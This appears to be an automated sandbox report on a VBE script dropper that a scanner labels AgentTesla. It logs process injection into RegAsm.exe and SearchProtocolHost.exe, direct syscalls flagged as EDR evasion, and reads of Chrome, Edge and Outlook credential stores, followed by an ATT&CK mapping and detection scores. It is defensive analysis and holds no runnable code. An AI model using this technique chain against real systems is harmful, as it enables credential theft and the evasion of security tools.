Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_02F6F7AF mov eax, dword ptr fs:[00000030h]	3_2_02F6F7AF
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_02F6F7AF mov eax, dword ptr fs:[00000030h]	3_2_02F6F7AF
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_02F6F7AF mov eax, dword ptr fs:[00000030h]	3_2_02F6F7AF
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_02F6F7AF mov eax, dword ptr fs:[00000030h]	3_2_02F6F7AF
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_02F6F7AF mov eax, dword ptr fs:[00000030h]	3_2_02F6F7AF
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_02F697A9 mov eax, dword ptr fs:[00000030h]	3_2_02F697A9
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_02F9F78A mov eax, dword ptr fs:[00000030h]	3_2_02F9F78A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_02EDB765 mov eax, dword ptr fs:[00000030h]	3_2_02EDB765
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_02EDB765 mov eax, dword ptr fs:[00000030h]	3_2_02EDB765
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_02EDB765 mov eax, dword ptr fs:[00000030h]	3_2_02EDB765
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_02EDB765 mov eax, dword ptr fs:[00000030h]	3_2_02EDB765
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_02EE8770 mov eax, dword ptr fs:[00000030h]	3_2_02EE8770
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_02EF0770 mov eax, dword ptr fs:[00000030h]	3_2_02EF0770
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_02EF0770 mov eax, dword ptr fs:[00000030h]	3_2_02EF0770
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_02EF0770 mov eax, dword ptr fs:[00000030h]	3_2_02EF0770
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_02EF0770 mov eax, dword ptr fs:[00000030h]	3_2_02EF0770
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_02EF0770 mov eax, dword ptr fs:[00000030h]	3_2_02EF0770
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_02EF0770 mov eax, dword ptr fs:[00000030h]	3_2_02EF0770
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_02EF0770 mov eax, dword ptr fs:[00000030h]	3_2_02EF0770
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_02EF0770 mov eax, dword ptr fs:[00000030h]	3_2_02EF0770
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_02EF0770 mov eax, dword ptr fs:[00000030h]	3_2_02EF0770
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_02EF0770 mov eax, dword ptr fs:[00000030h]	3_2_02EF0770
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_02EF0770 mov eax, dword ptr fs:[00000030h]	3_2_02EF0770
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_02EF0770 mov eax, dword ptr fs:[00000030h]	3_2_02EF0770
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_02F22750 mov eax, dword ptr fs:[00000030h]	3_2_02F22750
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_02F22750 mov eax, dword ptr fs:[00000030h]	3_2_02F22750
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_02F64755 mov eax, dword ptr fs:[00000030h]	3_2_02F64755
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_02EF3740 mov eax, dword ptr fs:[00000030h]	3_2_02EF3740
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_02EF3740 mov eax, dword ptr fs:[00000030h]	3_2_02EF3740
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_02EF3740 mov eax, dword ptr fs:[00000030h]	3_2_02EF3740
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_02FB3749 mov eax, dword ptr fs:[00000030h]	3_2_02FB3749
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_02F1674D mov esi, dword ptr fs:[00000030h]	3_2_02F1674D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_02F1674D mov eax, dword ptr fs:[00000030h]	3_2_02F1674D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_02F1674D mov eax, dword ptr fs:[00000030h]	3_2_02F1674D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_02EE0750 mov eax, dword ptr fs:[00000030h]	3_2_02EE0750
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_02F5C730 mov eax, dword ptr fs:[00000030h]	3_2_02F5C730
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_02F15734 mov eax, dword ptr fs:[00000030h]	3_2_02F15734
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_02FBB73C mov eax, dword ptr fs:[00000030h]	3_2_02FBB73C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_02FBB73C mov eax, dword ptr fs:[00000030h]	3_2_02FBB73C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_02FBB73C mov eax, dword ptr fs:[00000030h]	3_2_02FBB73C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_02FBB73C mov eax, dword ptr fs:[00000030h]	3_2_02FBB73C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_02F1273C mov eax, dword ptr fs:[00000030h]	3_2_02F1273C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_02F1273C mov ecx, dword ptr fs:[00000030h]	3_2_02F1273C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_02F1273C mov eax, dword ptr fs:[00000030h]	3_2_02F1273C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_02EE3720 mov eax, dword ptr fs:[00000030h]	3_2_02EE3720
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_02EFF720 mov eax, dword ptr fs:[00000030h]	3_2_02EFF720
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_02EFF720 mov eax, dword ptr fs:[00000030h]	3_2_02EFF720
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_02EFF720 mov eax, dword ptr fs:[00000030h]	3_2_02EFF720
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_02F1C720 mov eax, dword ptr fs:[00000030h]	3_2_02F1C720
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_02F1C720 mov eax, dword ptr fs:[00000030h]	3_2_02F1C720
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_02FA972B mov eax, dword ptr fs:[00000030h]	3_2_02FA972B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_02EE973A mov eax, dword ptr fs:[00000030h]	3_2_02EE973A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_02EE973A mov eax, dword ptr fs:[00000030h]	3_2_02EE973A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_02F9F72E mov eax, dword ptr fs:[00000030h]	3_2_02F9F72E

Source: C:\Users\user\AppData\Local\Temp\temp_u8gpg.exe

Memory allocated: page read and write | page guard

Benign windows process drops PE files

HIPS / PFW / Operating System Protection Evasion

Source: C:\Windows\System32\wscript.exe

File created: temp_u8gpg.exe.0.dr

Jump to dropped file

Allocates memory in foreign processes

Source: C:\Users\user\AppData\Local\Temp\temp_u8gpg.exe

Memory allocated: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 400000 protect: page execute and read and write

Found direct / indirect Syscall (likely to bypass EDR)

Source: C:\Program Files (x86)\DkgTwkShXHuYDwaqqanQdFDSSNoagfNaOHzsMlnyQXYDHeHS\zfEzkYXCOLr.exe	NtQueryVolumeInformationFile: Direct from: 0x76F12F2C	Jump to behavior
Source: C:\Program Files (x86)\DkgTwkShXHuYDwaqqanQdFDSSNoagfNaOHzsMlnyQXYDHeHS\zfEzkYXCOLr.exe	NtQuerySystemInformation: Direct from: 0x76F148CC	Jump to behavior
Source: C:\Program Files (x86)\DkgTwkShXHuYDwaqqanQdFDSSNoagfNaOHzsMlnyQXYDHeHS\zfEzkYXCOLr.exe	NtAllocateVirtualMemory: Direct from: 0x76F148EC	Jump to behavior
Source: C:\Program Files (x86)\DkgTwkShXHuYDwaqqanQdFDSSNoagfNaOHzsMlnyQXYDHeHS\zfEzkYXCOLr.exe	NtQueryAttributesFile: Direct from: 0x76F12E6C	Jump to behavior
Source: C:\Program Files (x86)\DkgTwkShXHuYDwaqqanQdFDSSNoagfNaOHzsMlnyQXYDHeHS\zfEzkYXCOLr.exe	NtReadVirtualMemory: Direct from: 0x76F12E8C	Jump to behavior
Source: C:\Program Files (x86)\DkgTwkShXHuYDwaqqanQdFDSSNoagfNaOHzsMlnyQXYDHeHS\zfEzkYXCOLr.exe	NtCreateKey: Direct from: 0x76F12C6C	Jump to behavior
Source: C:\Program Files (x86)\DkgTwkShXHuYDwaqqanQdFDSSNoagfNaOHzsMlnyQXYDHeHS\zfEzkYXCOLr.exe	NtSetInformationThread: Direct from: 0x76F12B4C	Jump to behavior
Source: C:\Program Files (x86)\DkgTwkShXHuYDwaqqanQdFDSSNoagfNaOHzsMlnyQXYDHeHS\zfEzkYXCOLr.exe	NtClose: Direct from: 0x76F12B6C
Source: C:\Program Files (x86)\DkgTwkShXHuYDwaqqanQdFDSSNoagfNaOHzsMlnyQXYDHeHS\zfEzkYXCOLr.exe	NtAllocateVirtualMemory: Direct from: 0x76F13C9C	Jump to behavior
Source: C:\Program Files (x86)\DkgTwkShXHuYDwaqqanQdFDSSNoagfNaOHzsMlnyQXYDHeHS\zfEzkYXCOLr.exe	NtWriteVirtualMemory: Direct from: 0x76F1490C	Jump to behavior
Source: C:\Program Files (x86)\DkgTwkShXHuYDwaqqanQdFDSSNoagfNaOHzsMlnyQXYDHeHS\zfEzkYXCOLr.exe	NtCreateUserProcess: Direct from: 0x76F1371C	Jump to behavior
Source: C:\Program Files (x86)\DkgTwkShXHuYDwaqqanQdFDSSNoagfNaOHzsMlnyQXYDHeHS\zfEzkYXCOLr.exe	NtTerminateThread: Direct from: 0x76F12FCC	Jump to behavior
Source: C:\Program Files (x86)\DkgTwkShXHuYDwaqqanQdFDSSNoagfNaOHzsMlnyQXYDHeHS\zfEzkYXCOLr.exe	NtCreateFile: Direct from: 0x76F12FEC	Jump to behavior
Source: C:\Program Files (x86)\DkgTwkShXHuYDwaqqanQdFDSSNoagfNaOHzsMlnyQXYDHeHS\zfEzkYXCOLr.exe	NtOpenFile: Direct from: 0x76F12DCC	Jump to behavior
Source: C:\Program Files (x86)\DkgTwkShXHuYDwaqqanQdFDSSNoagfNaOHzsMlnyQXYDHeHS\zfEzkYXCOLr.exe	NtQueryInformationToken: Direct from: 0x76F12CAC	Jump to behavior
Source: C:\Program Files (x86)\DkgTwkShXHuYDwaqqanQdFDSSNoagfNaOHzsMlnyQXYDHeHS\zfEzkYXCOLr.exe	NtAllocateVirtualMemory: Direct from: 0x76F12BEC	Jump to behavior
Source: C:\Program Files (x86)\DkgTwkShXHuYDwaqqanQdFDSSNoagfNaOHzsMlnyQXYDHeHS\zfEzkYXCOLr.exe	NtDeviceIoControlFile: Direct from: 0x76F12AEC	Jump to behavior
Source: C:\Program Files (x86)\DkgTwkShXHuYDwaqqanQdFDSSNoagfNaOHzsMlnyQXYDHeHS\zfEzkYXCOLr.exe	NtSetInformationThread: Direct from: 0x76F063F9	Jump to behavior
Source: C:\Program Files (x86)\DkgTwkShXHuYDwaqqanQdFDSSNoagfNaOHzsMlnyQXYDHeHS\zfEzkYXCOLr.exe	NtOpenSection: Direct from: 0x76F12E0C	Jump to behavior
Source: C:\Program Files (x86)\DkgTwkShXHuYDwaqqanQdFDSSNoagfNaOHzsMlnyQXYDHeHS\zfEzkYXCOLr.exe	NtMapViewOfSection: Direct from: 0x76F12D1C	Jump to behavior
Source: C:\Program Files (x86)\DkgTwkShXHuYDwaqqanQdFDSSNoagfNaOHzsMlnyQXYDHeHS\zfEzkYXCOLr.exe	NtResumeThread: Direct from: 0x76F136AC	Jump to behavior
Source: C:\Program Files (x86)\DkgTwkShXHuYDwaqqanQdFDSSNoagfNaOHzsMlnyQXYDHeHS\zfEzkYXCOLr.exe	NtUnmapViewOfSection: Direct from: 0x76F12D3C	Jump to behavior
Source: C:\Program Files (x86)\DkgTwkShXHuYDwaqqanQdFDSSNoagfNaOHzsMlnyQXYDHeHS\zfEzkYXCOLr.exe	NtCreateMutant: Direct from: 0x76F135CC	Jump to behavior
Source: C:\Program Files (x86)\DkgTwkShXHuYDwaqqanQdFDSSNoagfNaOHzsMlnyQXYDHeHS\zfEzkYXCOLr.exe	NtWriteVirtualMemory: Direct from: 0x76F12E3C	Jump to behavior
Source: C:\Program Files (x86)\DkgTwkShXHuYDwaqqanQdFDSSNoagfNaOHzsMlnyQXYDHeHS\zfEzkYXCOLr.exe	NtNotifyChangeKey: Direct from: 0x76F13C2C	Jump to behavior
Source: C:\Program Files (x86)\DkgTwkShXHuYDwaqqanQdFDSSNoagfNaOHzsMlnyQXYDHeHS\zfEzkYXCOLr.exe	NtProtectVirtualMemory: Direct from: 0x76F07B2E	Jump to behavior
Source: C:\Program Files (x86)\DkgTwkShXHuYDwaqqanQdFDSSNoagfNaOHzsMlnyQXYDHeHS\zfEzkYXCOLr.exe	NtProtectVirtualMemory: Direct from: 0x76F12F9C	Jump to behavior
Source: C:\Program Files (x86)\DkgTwkShXHuYDwaqqanQdFDSSNoagfNaOHzsMlnyQXYDHeHS\zfEzkYXCOLr.exe	NtSetInformationProcess: Direct from: 0x76F12C5C	Jump to behavior
Source: C:\Program Files (x86)\DkgTwkShXHuYDwaqqanQdFDSSNoagfNaOHzsMlnyQXYDHeHS\zfEzkYXCOLr.exe	NtOpenKeyEx: Direct from: 0x76F12B9C	Jump to behavior
Source: C:\Program Files (x86)\DkgTwkShXHuYDwaqqanQdFDSSNoagfNaOHzsMlnyQXYDHeHS\zfEzkYXCOLr.exe	NtQueryInformationProcess: Direct from: 0x76F12C26	Jump to behavior
Source: C:\Program Files (x86)\DkgTwkShXHuYDwaqqanQdFDSSNoagfNaOHzsMlnyQXYDHeHS\zfEzkYXCOLr.exe	NtResumeThread: Direct from: 0x76F12FBC	Jump to behavior
Source: C:\Program Files (x86)\DkgTwkShXHuYDwaqqanQdFDSSNoagfNaOHzsMlnyQXYDHeHS\zfEzkYXCOLr.exe	NtDelayExecution: Direct from: 0x76F12DDC	Jump to behavior
Source: C:\Program Files (x86)\DkgTwkShXHuYDwaqqanQdFDSSNoagfNaOHzsMlnyQXYDHeHS\zfEzkYXCOLr.exe	NtReadFile: Direct from: 0x76F12ADC	Jump to behavior
Source: C:\Program Files (x86)\DkgTwkShXHuYDwaqqanQdFDSSNoagfNaOHzsMlnyQXYDHeHS\zfEzkYXCOLr.exe	NtQuerySystemInformation: Direct from: 0x76F12DFC	Jump to behavior
Source: C:\Program Files (x86)\DkgTwkShXHuYDwaqqanQdFDSSNoagfNaOHzsMlnyQXYDHeHS\zfEzkYXCOLr.exe	NtAllocateVirtualMemory: Direct from: 0x76F12BFC	Jump to behavior

Injects a PE file into a foreign processes

Source: C:\Users\user\AppData\Local\Temp\temp_u8gpg.exe

Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 400000 value starts with: 4D5A

Maps a DLL or memory area into another process

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: NULL target: C:\Program Files (x86)\DkgTwkShXHuYDwaqqanQdFDSSNoagfNaOHzsMlnyQXYDHeHS\zfEzkYXCOLr.exe protection: execute and read and write	Jump to behavior
Source: C:\Program Files (x86)\DkgTwkShXHuYDwaqqanQdFDSSNoagfNaOHzsMlnyQXYDHeHS\zfEzkYXCOLr.exe	Section loaded: NULL target: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe protection: execute and read and write	Jump to behavior
Source: C:\Program Files (x86)\DkgTwkShXHuYDwaqqanQdFDSSNoagfNaOHzsMlnyQXYDHeHS\zfEzkYXCOLr.exe	Section loaded: NULL target: C:\Windows\SysWOW64\SearchProtocolHost.exe protection: execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\SearchProtocolHost.exe	Section loaded: NULL target: C:\Program Files (x86)\DkgTwkShXHuYDwaqqanQdFDSSNoagfNaOHzsMlnyQXYDHeHS\zfEzkYXCOLr.exe protection: read write	Jump to behavior
Source: C:\Windows\SysWOW64\SearchProtocolHost.exe	Section loaded: NULL target: C:\Program Files (x86)\DkgTwkShXHuYDwaqqanQdFDSSNoagfNaOHzsMlnyQXYDHeHS\zfEzkYXCOLr.exe protection: execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\SearchProtocolHost.exe	Section loaded: NULL target: C:\Program Files\Mozilla Firefox\firefox.exe protection: read write	Jump to behavior
Source: C:\Windows\SysWOW64\SearchProtocolHost.exe	Section loaded: NULL target: C:\Program Files\Mozilla Firefox\firefox.exe protection: execute and read and write	Jump to behavior

Modifies the context of a thread in another process (thread injection)

Source: C:\Windows\SysWOW64\SearchProtocolHost.exe

Thread register set: target process: 2884

Queues an APC in another process (thread injection)

Source: C:\Windows\SysWOW64\SearchProtocolHost.exe

Thread APC queued: target process: C:\Program Files (x86)\DkgTwkShXHuYDwaqqanQdFDSSNoagfNaOHzsMlnyQXYDHeHS\zfEzkYXCOLr.exe

Writes to foreign memory regions

Source: C:\Users\user\AppData\Local\Temp\temp_u8gpg.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 400000	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\temp_u8gpg.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 401000	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\temp_u8gpg.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: FF4008	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Users\user\AppData\Local\Temp\temp_u8gpg.exe "C:\Users\user\AppData\Local\Temp\temp_u8gpg.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\temp_u8gpg.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"	Jump to behavior
Source: C:\Program Files (x86)\DkgTwkShXHuYDwaqqanQdFDSSNoagfNaOHzsMlnyQXYDHeHS\zfEzkYXCOLr.exe	Process created: C:\Windows\SysWOW64\SearchProtocolHost.exe "C:\Windows\SysWOW64\SearchProtocolHost.exe"	Jump to behavior
Source: C:\Windows\SysWOW64\SearchProtocolHost.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\Firefox.exe"	Jump to behavior

Source: zfEzkYXCOLr.exe, 00000005.00000000.1497084607.0000000000E10000.00000002.00000001.00040000.00000000.sdmp, zfEzkYXCOLr.exe, 00000005.00000002.3775786626.0000000000E11000.00000002.00000001.00040000.00000000.sdmp, zfEzkYXCOLr.exe, 00000007.00000000.1643427754.00000000011A0000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: Shell_TrayWnd
Source: zfEzkYXCOLr.exe, 00000005.00000000.1497084607.0000000000E10000.00000002.00000001.00040000.00000000.sdmp, zfEzkYXCOLr.exe, 00000005.00000002.3775786626.0000000000E11000.00000002.00000001.00040000.00000000.sdmp, zfEzkYXCOLr.exe, 00000007.00000000.1643427754.00000000011A0000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: Progman
Source: zfEzkYXCOLr.exe, 00000005.00000000.1497084607.0000000000E10000.00000002.00000001.00040000.00000000.sdmp, zfEzkYXCOLr.exe, 00000005.00000002.3775786626.0000000000E11000.00000002.00000001.00040000.00000000.sdmp, zfEzkYXCOLr.exe, 00000007.00000000.1643427754.00000000011A0000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: Progmanlock
Source: zfEzkYXCOLr.exe, 00000005.00000000.1497084607.0000000000E10000.00000002.00000001.00040000.00000000.sdmp, zfEzkYXCOLr.exe, 00000005.00000002.3775786626.0000000000E11000.00000002.00000001.00040000.00000000.sdmp, zfEzkYXCOLr.exe, 00000007.00000000.1643427754.00000000011A0000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: yProgram Manager

Source: C:\Users\user\AppData\Local\Temp\temp_u8gpg.exe

Queries volume information: C:\Users\user\AppData\Local\Temp\temp_u8gpg.exe VolumeInformation

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Stealing of Sensitive Information

Tries to harvest and steal browser information (history, passwords, etc)

Source: Yara match	File source: 3.2.RegAsm.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.RegAsm.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000006.00000002.3775770307.0000000003310000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.3766152449.0000000002E30000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000002.3778720033.0000000004E70000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.3775867961.0000000003360000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.3776047810.0000000005420000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.1574816777.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.1575092395.0000000001680000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.1575820816.0000000006400000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY

Source: C:\Windows\SysWOW64\SearchProtocolHost.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Windows\SysWOW64\SearchProtocolHost.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local State	Jump to behavior
Source: C:\Windows\SysWOW64\SearchProtocolHost.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Windows\SysWOW64\SearchProtocolHost.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Local State	Jump to behavior
Source: C:\Windows\SysWOW64\SearchProtocolHost.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Windows\SysWOW64\SearchProtocolHost.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Windows\SysWOW64\SearchProtocolHost.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Cookies	Jump to behavior
Source: C:\Windows\SysWOW64\SearchProtocolHost.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior

Tries to steal Mail credentials (via file / registry access)

Source: C:\Windows\SysWOW64\SearchProtocolHost.exe

Key opened: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\

Remote Access Functionality

Source: Yara match	File source: 3.2.RegAsm.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.RegAsm.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000006.00000002.3775770307.0000000003310000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.3766152449.0000000002E30000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000002.3778720033.0000000004E70000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.3775867961.0000000003360000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.3776047810.0000000005420000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.1574816777.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.1575092395.0000000001680000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.1575820816.0000000006400000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	1 Scripting	Valid Accounts	2 Exploitation for Client Execution	1 Scripting	612 Process Injection	1 Disable or Modify Tools	1 OS Credential Dumping	121 Security Software Discovery	Remote Services	1 Email Collection	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	1 DLL Side-Loading	1 Abuse Elevation Control Mechanism	41 Virtualization/Sandbox Evasion	LSASS Memory	2 Process Discovery	Remote Desktop Protocol	1 Archive Collected Data	4 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	1 DLL Side-Loading	612 Process Injection	Security Account Manager	41 Virtualization/Sandbox Evasion	SMB/Windows Admin Shares	1 Data from Local System	5 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	1 Deobfuscate/Decode Files or Information	NTDS	1 Application Window Discovery	Distributed Component Object Model	Input Capture	5 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 Abuse Elevation Control Mechanism	LSA Secrets	2 File and Directory Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	3 Obfuscated Files or Information	Cached Domain Credentials	113 System Information Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	1 Timestomp	DCSync	Remote System Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	1 DLL Side-Loading	Proc Filesystem	System Owner/User Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
DOC_114542366.vbe	18%	ReversingLabs	Script-WScript.Trojan.AgentTesla

Dropped Files

Source	Detection	Scanner	Label	Link
C:\Users\user\AppData\Local\Temp\temp_u8gpg.exe	100%	Avira	TR/Dropper.Gen
C:\Users\user\AppData\Local\Temp\temp_u8gpg.exe	100%	Joe Sandbox ML

Source	Detection	Scanner	Label
http://www.bookingservice.center/4bee/	0%	Avira URL Cloud	safe
http://www.guacamask.online/display.cfm	0%	Avira URL Cloud	safe
